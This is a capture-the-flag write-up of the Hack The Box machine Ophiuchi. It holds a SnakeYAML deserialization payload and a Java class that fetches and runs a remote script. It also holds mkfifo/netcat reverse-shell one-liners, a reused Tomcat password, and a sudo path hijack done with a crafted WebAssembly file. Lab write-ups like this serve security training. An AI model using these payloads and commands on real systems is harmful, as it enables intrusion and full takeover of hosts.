7 minute read Leia também em :brazil: Share

Hello guys!

This week’s machine will be Ophiuchi, another medium-rated box from Hack The Box, created by felamos.

:information_source: Info: Write-ups for Hack The Box machines are posted as soon as they’re retired.


Recently I have been starting the recon of HTB boxes by searching a little about their names, as it or their images can give some cues on how to pwn them.

Searching define ophiuchi in Google I was redirected to `define Ophiuchus, which is commonly represented as a man grasping a snake, what makes sense once we have a picture of a planet, astronaut, and some stars, but we’ll see that isn’t only that! :smiley:


Starting the enumeration, as usual, running a quick nmap scan to find the published services.

$ nmap -sC -sV -Pn -oA quick
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-27 17:32 -03
Nmap scan report for
Host is up (0.077s latency).
Not shown: 998 closed ports
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
|   256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_  256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open  http    Apache Tomcat 9.0.38
|_http-title: Parse YAML
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.18 seconds

8080/TCP - Tomcat

Accessing the Tomcat page at we see a YAML parser website, as below:

Ophiuchi - Parse YAML

Sending a simple payload (teste: true), the following message is returned:

Due to security reasons this feature has been temporarily on hold. We will soon fix the issue!

Once Tomcat is a Java web server, and, based on the message returned, searched about java yaml rce vulnerability where I’ve found a Medium post talking about a vuln called SnakeYAML, which had a PoC like the website we have. Also, as snake have some references to the constellation from which this box was named, proves we’re on the right path :smile:.

Following the suggestion in the post, started a simple http server using python (sudo python3 -m http.server 80) and sent the following payload:

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL [""]

Just like the PoC in the blog post, the server searches for a file in /META-INF/services/javax.script.ScriptEngineFactory should provide a java class to be executed, which was confirmed based on the logs below.

$ sudo python3 -m http.server 80
Serving HTTP on port 80 ( ... - - [28/Feb/2021 12:19:22] code 404, message File not found - - [28/Feb/2021 12:19:22] "HEAD /META-INF/services/javax.script.ScriptEngineFactory HTTP/1.1" 404 -

Initial access

To gain initial access to this machine, used the project referenced in the blog post found (artsploit/yaml-payload: A tiny project for generating SnakeYAML deserialization payloads).

git clone https://github.com/artsploit/yaml-payload.git

As recommended, we’ll add our payload in the class named AwesomeScriptEngineFactory.java compile it and invoke it from the payload sent in the form.

First I have tried to use payload rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4443 >/tmp/f directly in the class yaml-payload\src\artsploit\AwesomeScriptEngineFactory.java but as it uses some redirects and pipelines (> e |) noticed that the best approach would host a payload file in the webserver, download it and run from the victim machine, as the edit below:

    public AwesomeScriptEngineFactory() {
        try {
            Runtime.getRuntime().exec("wget -O /tmp/exploit.sh");
            Runtime.getRuntime().exec("chmod a+x /tmp/exploit.sh");
            Runtime.getRuntime().exec("bash /tmp/exploit.sh");
        } catch (IOException e) {

After modified, compiled the class and copied to the path where it was being called from:

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

After that, as well as copying the payload file to be executed, sent the payload below on the webpage

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL [""]

And voilá! We got a reverse shell in the box! :smile:

bash-5.0$ hostname && id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)

User flag

Started the enumeration, as usual, using linpeas.sh, where I could identify the following points:

  • Tomcat service running with its specific account, allowing us to read the app files and logs
  • Enumerating the users in this box, found admin, the only one with console access (besides root).

With this information, verified the creds for Tomcat from /opt/tomcat/conf/tomcat-users.xml file, where the password whythereisalimit was found.

<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>

Testing it for the user admin, we have confirmed that it was valid.

Ophiuchi - Tomcat Manager

Once we have a Linux user with the same name admin, once tried to reuse the same creds using ssh, I was successful in logging in, obtaining the user’s flag.

Last login: Sun Apr 18 01:22:24 2021 from
-bash-5.0$ hostname && id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
-bash-5.0$ cat user.txt 

Root flag

Besides always give linpeas.sh another try, once we have the password for the user I like to check if the user can run anything with root privileges, where in this case we were lucky and got the following output:

-bash-5.0$ sudo -l
Matching Defaults entries for admin on ophiuchi:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User admin may run the following commands on ophiuchi:
    (ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go

Inspecting the file /opt/wasm-functions/index.go we have the following content:

package main

import (
        wasm "github.com/wasmerio/wasmer-go/wasmer"

func main() {
        bytes, _ := wasm.ReadBytes("main.wasm")

        instance, _ := wasm.NewInstance(bytes)
        defer instance.Close()
        init := instance.Exports["info"]
        result,_ := init()
        f := result.String()
        if (f != "1") {
                fmt.Println("Not ready to deploy")
        } else {
                fmt.Println("Ready to deploy")
                out, err := exec.Command("/bin/sh", "deploy.sh").Output()
                if err != nil {

As we can see, this is a Go Lang script that loads its variables from main.wasm and, if the value f under property info is equal to 1, the file deploy.sh is executed.

As both files (main.wasm e deploy.sh) execute from a relative path, they are vulnerable to path hijacking, which we’ll try now.

The initial step is to create both files and start them from a directory we have to write permissions, in this case, /dev/shm.

mkdir /dev/shm/zurc
cd /dev/shm/zurc


Creating this file is easy. At first, I’ll just place an id command to be sure we have succeeded with the permission abuse.



Once confirmed, we’ll replace this file contents with the reverse shell command line below


rm /tmp/zurc;mkfifo /tmp/zurc;cat /tmp/zurc|/bin/sh -i 2>&1|nc 4443 >/tmp/zurc


This item is a little more complex to craft as when I first opened it in the editor, noticed that was something compiled and not plain text.

Searching a little on how to modify a wasm file, found this blog post on Mozilla developers on how to convert a WebAssembly Text to WASM, which also refers to the repo WebAssembly/wabt: The WebAssembly Binary Toolkit no GitHub.

The following steps were used to inspect and modify the main.wasm file:

  • Locate the file in the victim machine and make a copy using scp

    # Ophiuchi
    admin@ophiuchi:~$ find / -type f 2> /dev/null | grep main.wasm
    # Attacker Machine
    $ cd ./loot
    $ scp admin@ .
  • Downloaded the compiled wabt version to my working directory and extracted it

    wget https://github.com/WebAssembly/wabt/releases/download/1.0.23/wabt-1.0.23-ubuntu.tar.gz
    tar -xzvf wabt-1.0.23-ubuntu.tar.gz
  • Using the recently downloaded tool, converted the main.wasm to main.wat, where we got the following content

    $ wabt-1.0.23/bin/wasm2wat main.wasm -o main.wat
    $ cat main.wat                                                                                           
      (type (;0;) (func (result i32)))
      (func $info (type 0) (result i32)
          i32.const 0)
      (table (;0;) 1 1 funcref)
      (memory (;0;) 16)
      (global (;0;) (mut i32) (i32.const 1048576))
      (global (;1;) i32 (i32.const 1048576))
      (global (;2;) i32 (i32.const 1048576))
      (export "memory" (memory 0))
      (export "info" (func $info))
      (export "__data_end" (global 1))
      (export "__heap_base" (global 2)))
  • Once we need to return f == 1, which is a property of info, we needed to change the line i32.const 0 to i32.const 1 at line 4.

  • After changing it, compiled the file again to main.wasm and transferred it to the victim machine as below

    wabt-1.0.23/bin/wat2wasm main.wat -o main.wasm
    scp main.wasm admin@
  • In a second attempt, we had success on running the crafted deploy.sh as root :smiley:

    admin@ophiuchi:/dev/shm/zurc$ sudo /usr/bin/go run /opt/wasm-functions/index.go
    Ready to deploy
    uid=0(root) gid=0(root) groups=0(root)
  • After that, modified the file to the previously shared reverse shell command line, obtained interactive access as root, and was able to get its flag.

    $ nc -lnvp 4443
    listening on [any] 4443 ...
    connect to [] from (UNKNOWN) [] 50068
    # hostname && id
    uid=0(root) gid=0(root) groups=0(root)
    # cat /root/root.txt

I hope you have enjoyed it!

See you in the next post :smile: